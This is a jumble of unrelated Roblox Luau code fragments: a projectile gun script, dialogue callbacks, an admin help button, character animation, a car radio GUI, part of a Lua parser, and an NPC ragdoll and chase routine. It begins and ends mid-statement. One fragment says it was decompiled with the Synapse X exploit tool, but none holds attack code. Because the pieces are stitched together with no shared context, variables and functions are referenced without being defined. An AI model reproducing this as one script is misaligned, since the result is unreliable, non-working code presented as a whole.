-(length - bulletLength)) end function OnRayTerminated(cast) local cosmeticBullet = cast.RayInfo.CosmeticBulletObject if cosmeticBullet ~= nil then CastBehavior.CosmeticBulletProvider:ReturnPart(cosmeticBullet) end end MouseEvent.OnServerEvent:Connect(function (clientThatFired, mousePoint) if not CanFire then return end CanFire = false local mouseDirection = (mousePoint - FirePointObject.WorldPosition).Unit for i = 1, BULLETS_PER_SHOT do Fire(mouseDirection) end if FIRE_DELAY > 0.03 then wait(FIRE_DELAY) end CanFire = true end) Caster.RayHit:Connect(OnRayHit) Caster.RayPierced:Connect(OnRayPierced) Caster.LengthChanged:Connect(OnRayUpdated) Caster.CastTerminating:Connect(OnRayTerminated) Tool.Equipped:Connect(function () CastParams.FilterDescendantsInstances = {Tool.Parent, CosmeticBulletsFolder} end)
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 45 -- TODO track for dissertation local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) ClassInformationTable:GetClassFolder(player,"Brawler").Barrage.Value = true end
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local MoneyModule = require(game.ReplicatedStorage.Source.SystemModules.Money) MoneyModule.BuyItemFromDialogueFolder(player,dialogueFolder) end
--[[ This HelpButton Theme displays by default the headshot of the LocalPlayer. Modes: { "HEADSHOT" -- LocalPlayer Headshot Thumb "CUSTOM" -- Loads from Settings } --]]
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = service.New("ScreenGui") local toggle = service.New("ImageButton", gui) local toggle1 = service.New("Frame", gui) local round = Instance.new("UICorner") round.CornerRadius = UDim.new(0, 6) round.Parent = toggle1 local round1 = Instance.new("UICorner") round1.CornerRadius = UDim.new(0, 6) round1.Parent = toggle local gTable = client.UI.Register(gui) if client.UI.Get("HelpButton", gui, true) then gui:Destroy() gTable:Destroy() return nil end gTable.Name = "HelpButton" gTable.CanKeepAlive = false toggle.Name = "Toggle" toggle1.Name = "RoundFrame" toggle1.BackgroundColor3 = Color3.fromRGB(17, 17, 17) toggle.BackgroundTransparency = 1 toggle1.Position = UDim2.new(1, -45, 1, -45) toggle.Position = UDim2.new(1, -42, 1, -38) toggle.Size = UDim2.new(0, 33, 0, 33) --33 toggle.ZIndex = 67 toggle1.Size = UDim2.new(0, 40, 0, 40) toggle.Image = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. localplayer.UserId .. "&width=420&height=420&format=png" toggle.ImageTransparency = 0 --if client.UI.Get("Chat") then -- toggle.Position = UDim2.new(1, -(45+40),1, -45) --end toggle.MouseButton1Down:Connect( function() local found = client.UI.Get("UserPanel", nil, true) if found then found.Object:Destroy() else client.UI.Make("UserPanel", {}) end end ) gTable:Ready() end
--[[script.Parent.Equipped:Connect(function() while wait(0.1) do if workspace.Day.Value == false and Debounce == false then Debounce = true wait(10) Day = false elseif workspace.Day.Value == true then Debounce = false Day = true script.Parent.Screen.SurfaceGui.DisText.Main.Disabled = true script.Parent.Light.Color = Color3.fromRGB(0,0,0) script.Parent.Light.Material = Enum.Material.SmoothPlastic script.Parent.Handle.Sound:Stop() script.Parent.Screen.SurfaceGui.DisText.Text = "Can't use at day" script.Parent.Handle.Sound.PlaybackSpeed = 1 end end end)]]
--[=[ Set the top-level value of the property, but does not override any per-player data (e.g. set with `SetFor` or `SetFilter`). Any player without custom-set data will receive this new data. This is useful if certain players have specific values that should not be changed, but all other players should receive the same new value. ```lua -- Using just 'Set' overrides per-player data: remoteProperty:SetFor(somePlayer, "CustomData") remoteProperty:Set("Data") print(remoteProperty:GetFor(somePlayer)) --> "Data" -- Using 'SetTop' does not override: remoteProperty:SetFor(somePlayer, "CustomData") remoteProperty:SetTop("Data") print(remoteProperty:GetFor(somePlayer)) --> "CustomData" ``` ]=]
function RemoteProperty:SetTop(value: any) self._value = value for _, player in ipairs(Players:GetPlayers()) do if self._perPlayer[player] == nil then self._rs:Fire(player, value) end end end
-- functions
function onRunning(speed) if isSeated then return end if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() local kidTable = Figure:children() if (kidTable ~= nil) then local numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) local c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = 1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running") then amplitude = 1 frequency = 9 else amplitude = 0.1 frequency = 1 end local desiredAngle = amplitude * math.sin(time*frequency) RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle local tool = getTool() if tool ~= nil then local animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
--//Tool Functions\\--
tool.Equipped:Connect(function() contextActionService:BindAction("ActivateSpecial", activate, true, Enum.KeyCode.E) contextActionService:SetImage("ActivateSpecial", tool.TextureId) contextActionService:SetPosition("ActivateSpecial", UDim2.new(0.72, -25, 0.20, -25)) enabled = true mouse.Icon = cursorId FindRigType(tool) end) tool.Unequipped:Connect(function() contextActionService:UnbindAction("ActivateSpecial") enabled = true mouse.Icon = "" end) tool.Activated:Connect(function() if not enabled then return end enabled = false fire:FireServer(mouse.Hit) wait(fireRate.Value) enabled = true end) hit.OnClientEvent:Connect(function() mouse.Icon = hitmarkerId handle.Hitmark:Play() wait(0.075) mouse.Icon = cursorId end) activateSpecial.OnClientEvent:Connect(function() for i = specialRechargeTime.Value, 0, -1 do wait(1) specialDB = false print("Recharging: "..i) end specialDB = true end)
-- Preload game assets
coroutine.wrap(function() ContentProvider:PreloadAsync(AssetPreloads) end)()
-- Change the numbers for different speeds on click of button --
--[[ For bugfixing in multiplayer function pm(x) if game.Players:findFirstChild(script.Parent.Parent.Name)~=nil then local bob=game.Players:findFirstChild(script.Parent.Parent.Name) local mess=Instance.new("Message") while bob:findFirstChild("Message")~=nil do bob.Message:remove() end mess.Parent=bob mess.Text=("Stage " .. x) wait(1) mess.Parent=nil end end --]]
------------------------------------------------------------------------ -- creates struct entry for a local variable -- * used only in new_localvar() ------------------------------------------------------------------------
function luaY:registerlocalvar(ls, varname) local fs = ls.fs local f = fs.f self:growvector(ls.L, f.locvars, fs.nlocvars, f.sizelocvars, nil, self.SHRT_MAX, "too many local variables") -- loop to initialize empty f.locvar positions not required f.locvars[fs.nlocvars] = {} -- LocVar f.locvars[fs.nlocvars].varname = varname -- luaC_objbarrier(ls.L, f, varname) /* GC */ local nlocvars = fs.nlocvars fs.nlocvars = fs.nlocvars + 1 return nlocvars end
------------------------------------------
gui.Track.Text = radio.TName.Value radio.TName.Changed:connect(function() gui.Track.Text = radio.TName.Value seat.Parent.Body.Dash.Screen.G.Song.Text = radio.TName.Value end) gui.Stop.MouseButton1Click:connect(function() if radio.Stopped.Value == false then radio.Stopped.Value = true end end) gui.Pause.MouseButton1Click:connect(function() if radio.Paused.Value == false and radio.Stopped.Value == false then radio.Paused.Value = true end end) gui.Play.MouseButton1Click:connect(function() if radio.Stopped.Value == true then radio.Play.Value = not radio.Play.Value else if radio.Paused.Value == true then radio.Paused.Value = false end end end) gui.Forward.MouseButton1Click:connect(function() local n = radio.Track.Value+1 if n>#radio.Songs:GetChildren() then n = 1 end radio.Track.Value = n end) gui.Back.MouseButton1Click:connect(function() local n = radio.Track.Value-1 if n<=0 then n = #radio.Songs:GetChildren() end radio.Track.Value = n end) gui.AutoplayOn.MouseButton1Click:connect(function() if radio.Autoplay.Value == true then radio.Autoplay.Value = false end end) gui.AutoplayOff.MouseButton1Click:connect(function() if radio.Autoplay.Value == false then radio.Autoplay.Value = true end end) gui.List.MouseButton1Click:connect(function() gui.Menu.Visible=not gui.Menu.Visible end) gui.Id.MouseButton1Click:connect(function() gui.IdPlayer.Visible=not gui.IdPlayer.Visible if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end end) gui.IdPlayer.Play.MouseButton1Click:connect(function() if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then radio.IdPlay.Value="" wait() end radio.IdPlay.Value=gui.IdPlayer.TextBox.Text end) for i,v in pairs(gui.Menu:GetChildren()) do v.MouseButton1Click:connect(function() radio.Track.Value = i end) end function Stopped() if radio.Stopped.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else gui.Play.Visible = false gui.Pause.Visible = true end end function Paused() if radio.Paused.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else if radio.Stopped.Value == false then gui.Play.Visible = false gui.Pause.Visible = true end end end function Autoplay() if radio.Autoplay.Value == true then gui.AutoplayOff.Visible = false gui.AutoplayOn.Visible = true else gui.AutoplayOn.Visible = false gui.AutoplayOff.Visible = true end end radio.Stopped.Changed:connect(Stopped) radio.Paused.Changed:connect(Paused) radio.Autoplay.Changed:connect(Autoplay) Stopped() Paused() Autoplay() while wait(.5) do if seat:FindFirstChild("SeatWeld") == nil then script.Parent:Destroy() end end
------------------------------------------------------WeldArm---------------------------------------------------------------
Tool = script.Parent; local arms = nil local torso = nil local welds = {} function Equip(mouse) wait(0.01) arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")} torso = Tool.Parent:FindFirstChild("Torso") if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = nil sh[2].Part1 = nil local weld1 = Instance.new("Weld") weld1.Part0 = torso weld1.Parent = torso weld1.Part1 = arms[1] weld1.C1 = CFrame.new(1.5, 0.4, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-90), 0, math.rad(0)) welds[1] = weld1 local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-1.5, 0.3, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), 0) welds[2] = weld2 end else print("sh") end else print("arms") end end function Unequip(mouse) if arms ~= nil and torso ~= nil then local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")} if sh ~= nil then local yes = true if yes then yes = false sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] welds[1].Parent = nil welds[2].Parent = nil end else print("sh") end else print("arms") end end Tool.Equipped:connect(Equip) Tool.Unequipped:connect(Unequip)
--// Hash: daab94b749882fb558fe5d88117045e2a3c840c03050fbba91003d0f3b79c29873a440c969d367b0dd9eb2a36ca2aad2 -- Decompiled with the Synapse X Luau decompiler.
while true do local v1 = pcall(function() game.StarterGui:SetCore("BadgesNotificationsActive", false); game.StarterGui:SetCore("ResetButtonCallback", false); end); wait(0.1); if v1 then break; end; end;
-- create a bar
local bar = Instance.new("Frame", frame) bar.Position = UDim2.new(0, 0, 0, 0) bar.Size = UDim2.new(1, 0, 1, 0) bar.BackgroundColor3 = Color3.new(0, 1, 0)
--
local sight = 5 local sitting = true local running = false local canchase = true scphumanoid.WalkSpeed = 0 scphumanoid.JumpPower = 0 function ragdollkill(character) local victimshumanoid = character:findFirstChildOfClass("Humanoid") if not character:findFirstChild("UpperTorso") then character.Archivable = true local ragdoll = character:Clone() ragdoll:findFirstChildOfClass("Humanoid").Health = 0 ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true if ragdoll:findFirstChild("Health") then if ragdoll:findFirstChild("Health").ClassName == "Script" then ragdoll:findFirstChild("Health").Disabled = true end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" then v:destroy() end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(character:GetChildren()) do if w.ClassName == "Part" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end ragdoll.Parent = workspace if ragdoll:findFirstChild("Right Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Arm") glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider.Name = "LimbCollider" local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Left Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Arm") glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Left Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Leg") glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Right Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Leg") glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Head") and ragdoll.Torso:findFirstChild("NeckAttachment") then local HeadAttachment = Instance.new("Attachment", ragdoll["Head"]) HeadAttachment.Position = Vector3.new(0, -0.5, 0) local connection = Instance.new('HingeConstraint', ragdoll["Head"]) connection.LimitsEnabled = true connection.Attachment0 = ragdoll.Torso.NeckAttachment connection.Attachment1 = HeadAttachment connection.UpperAngle = 60 connection.LowerAngle = -60 elseif ragdoll:findFirstChild("Head") and not ragdoll.Torso:findFirstChild("NeckAttachment") then local hedweld = Instance.new("Weld", ragdoll.Torso) hedweld.Part0 = ragdoll.Torso hedweld.Part1 = ragdoll.Head hedweld.C0 = CFrame.new(0,1.5,0) end game.Debris:AddItem(ragdoll, 60) elseif character:findFirstChild("UpperTorso") then character.Archivable = true local ragdoll = character:Clone() ragdoll:findFirstChildOfClass("Humanoid").Health = 0 if ragdoll:findFirstChild("Health") then if ragdoll:findFirstChild("Health").ClassName == "Script" then ragdoll:findFirstChild("Health").Disabled = true end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" or v.ClassName == "MeshPart" then v:destroy() end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(character:GetChildren()) do if w.ClassName == "Part" or w.ClassName == "MeshPart" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end ragdoll.Parent = workspace local Humanoid = ragdoll:findFirstChildOfClass("Humanoid") Humanoid.PlatformStand = true local function makeballconnections(limb, attachementone, attachmenttwo, twistlower, twistupper) local connection = Instance.new('BallSocketConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.TwistLimitsEnabled = true connection.TwistLowerAngle = twistlower connection.TwistUpperAngle = twistupper local limbcollider = Instance.new("Part", limb) limbcollider.Size = Vector3.new(0.1,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider:BreakJoints() local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = limb limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) end local function makehingeconnections(limb, attachementone, attachmenttwo, lower, upper) local connection = Instance.new('HingeConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.LimitsEnabled = true connection.LowerAngle = lower connection.UpperAngle = upper local limbcollider = Instance.new("Part", limb) limbcollider.Size = Vector3.new(0.1,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider:BreakJoints() local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = limb limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) end local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head) HeadAttachment.Position = Vector3.new(0, -0.5, 0) makehingeconnections(Humanoid.Parent.Head, HeadAttachment, ragdoll.UpperTorso.NeckAttachment, -50, 50) makehingeconnections(Humanoid.Parent.LowerTorso, Humanoid.Parent.LowerTorso.WaistRigAttachment, Humanoid.Parent.UpperTorso.WaistRigAttachment, -50, 50) makeballconnections(Humanoid.Parent.LeftUpperArm, Humanoid.Parent.LeftUpperArm.LeftShoulderRigAttachment, Humanoid.Parent.UpperTorso.LeftShoulderRigAttachment, -200, 200, 180) makehingeconnections(Humanoid.Parent.LeftLowerArm, Humanoid.Parent.LeftLowerArm.LeftElbowRigAttachment, Humanoid.Parent.LeftUpperArm.LeftElbowRigAttachment, 0, -60) makehingeconnections(Humanoid.Parent.LeftHand, Humanoid.Parent.LeftHand.LeftWristRigAttachment, Humanoid.Parent.LeftLowerArm.LeftWristRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.RightUpperArm, Humanoid.Parent.RightUpperArm.RightShoulderRigAttachment, Humanoid.Parent.UpperTorso.RightShoulderRigAttachment, -200, 200, 180) makehingeconnections(Humanoid.Parent.RightLowerArm, Humanoid.Parent.RightLowerArm.RightElbowRigAttachment, Humanoid.Parent.RightUpperArm.RightElbowRigAttachment, 0, -60) makehingeconnections(Humanoid.Parent.RightHand, Humanoid.Parent.RightHand.RightWristRigAttachment, Humanoid.Parent.RightLowerArm.RightWristRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.RightUpperLeg, Humanoid.Parent.RightUpperLeg.RightHipRigAttachment, Humanoid.Parent.LowerTorso.RightHipRigAttachment, -80, 80, 80) makehingeconnections(Humanoid.Parent.RightLowerLeg, Humanoid.Parent.RightLowerLeg.RightKneeRigAttachment, Humanoid.Parent.RightUpperLeg.RightKneeRigAttachment, 0, 60) makehingeconnections(Humanoid.Parent.RightFoot, Humanoid.Parent.RightFoot.RightAnkleRigAttachment, Humanoid.Parent.RightLowerLeg.RightAnkleRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.LeftUpperLeg, Humanoid.Parent.LeftUpperLeg.LeftHipRigAttachment, Humanoid.Parent.LowerTorso.LeftHipRigAttachment, -80, 80, 80) makehingeconnections(Humanoid.Parent.LeftLowerLeg, Humanoid.Parent.LeftLowerLeg.LeftKneeRigAttachment, Humanoid.Parent.LeftUpperLeg.LeftKneeRigAttachment, 0, 60) makehingeconnections(Humanoid.Parent.LeftFoot, Humanoid.Parent.LeftFoot.LeftAnkleRigAttachment, Humanoid.Parent.LeftLowerLeg.LeftAnkleRigAttachment, -20, 20) for i,v in pairs(Humanoid.Parent:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(Humanoid.Parent:GetChildren()) do if w.ClassName == "Part" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end for i,v in pairs(ragdoll:GetChildren()) do for q,w in pairs(v:GetChildren()) do if w.ClassName == "Motor6D"--[[ and w.Name ~= "Neck"--]] then w:destroy() end end end if ragdoll:findFirstChild("HumanoidRootPart") then ragdoll.HumanoidRootPart.Anchored = true ragdoll.HumanoidRootPart.CanCollide = false end game.Debris:AddItem(ragdoll, 60) end end function chase(victim) --chase the player if canchase then canchase = false local raaaaaageeee = true sitting = false running = false local victimhead = victim.Head local victimhumanoid = victim:findFirstChildOfClass("Humanoid") idlesound:Stop() ragesound:Play() scphumanoid.WalkSpeed = 0 scphumanoid.JumpPower = 0 face.Texture = "http://www.roblox.com/asset/?id=0" local function spasm() while wait() do if raaaaaageeee then root.C0 = root.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) rightshoulder.C0 = rightshoulder.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) leftshoulder.C0 = leftshoulder.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) lefthip.C0 = lefthip.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) righthip.C0 = righthip.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) neck.C0 = neck.C0 * CFrame.new(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) -- root.C0 = root.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) rightshoulder.C0 = rightshoulder.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) leftshoulder.C0 = leftshoulder.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) lefthip.C0 = lefthip.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) righthip.C0 = righthip.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) neck.C0 = neck.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50) end end end spawn(spasm) for i = 0,0.1 , 0.0005 do --animate him root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.98480773, 0.173648298, 0, -0.173648298, 0.98480773, 0, 0, 0, 1),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(0, -3.5, 0.5, 0.98480773, -0.173648298, 0, 0.173648298, 0.98480773, 0, 0, 0, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0, -3.5, -0.5, 0.98480773, -0.173648298, 0, 0.173648298, 0.98480773, 0, 0, 0, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i) heartbeat:wait() end for i = 1,27 do --loop for i = 0.3,0.5 , 0.008 do --rage animation root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.98480773, 0.163175985, -0.0593911894, -0.173648253, 0.925416589, -0.336824059, -1.86264515e-08, 0.342020094, 0.939692616),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.0297870636, -3.33106899, 1.07283974, 0.98480773, -0.163175955, -0.0593911335, 0.173648208, 0.925416708, 0.336823761, -2.60770321e-08, -0.342019826, 0.939692676),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.0281715393, -3.65976715, -0.26830864, 0.98480773, -0.171010181, -0.0301537365, 0.173648298, 0.969846249, 0.171010152, -2.60770321e-08, -0.173648313, 0.984807611),i) neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i) heartbeat:wait() end for i = 0.3,0.5 , 0.008 do --rage animation root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.934456408, -0.351089597, -0.0593911372, 0.312324762, 0.888258278, -0.336824119, 0.171010107, 0.29619813, 0.939692616),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, 